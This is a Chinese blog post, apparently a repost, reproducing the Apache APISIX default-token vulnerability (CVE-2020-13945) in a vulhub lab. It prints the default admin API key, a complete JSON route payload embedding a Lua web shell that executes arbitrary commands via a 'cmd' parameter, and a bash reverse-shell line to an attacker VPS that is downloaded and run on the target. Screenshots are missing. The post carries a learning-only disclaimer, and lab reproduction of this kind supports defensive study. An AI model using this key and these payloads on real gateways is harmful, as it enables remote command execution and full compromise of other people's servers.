Apache apisix默认密钥漏洞(CVE-2020-13945)


声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关,基于 Nginx 网络库和 etcd 实现, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。当使用者开启了Admin API,没有配置相应的IP访问策略,且没有修改配置文件Token的情况下,则攻击者利用Apache APISIX的默认Token即可访问Apache APISIX,从而控制APISIX网关。

影响版本

Apache APISIX 1.2

Apache APISIX 1.3

Apache APISIX 1.4

Apache APISIX 1.5

漏洞复现

该漏洞环境搭建,依然通过vulhub,不再赘述。

在这里插入图片描述
访问一下http://192.168.10.171:9080/apisix/admin/routes,说明开启了/apisix/admin/routes

在这里插入图片描述
抓取该报文,做如下修改

1、请求方法改为POST

2、加上参数X-API-KEY: edd1c9f034335f136f87ad84b625c8f1

3、加上payload

{
    
    
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
    
    
        "type": "roundrobin",
        "nodes": {
    
    
            "example.com:80": 1
        }
    }
}

在这里插入图片描述
然后,访问刚才添加的router,并通过cmd参数执行任意命令

在这里插入图片描述
接下来,我们来演示将内网的这台服务器,反向连接到VPS上

首先,VPS上编写反弹shell脚本 bash -i >& /dev/tcp/VPS_IP/VPS_PORT 0>&1,然后在使用python起一个http服务:python3 -m http.server

在这里插入图片描述
下载test.sh脚本文件

在这里插入图片描述
接下来,执行test.sh脚本文件

在这里插入图片描述

VPS上查看反弹结果

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/guo15890025019/article/details/129461063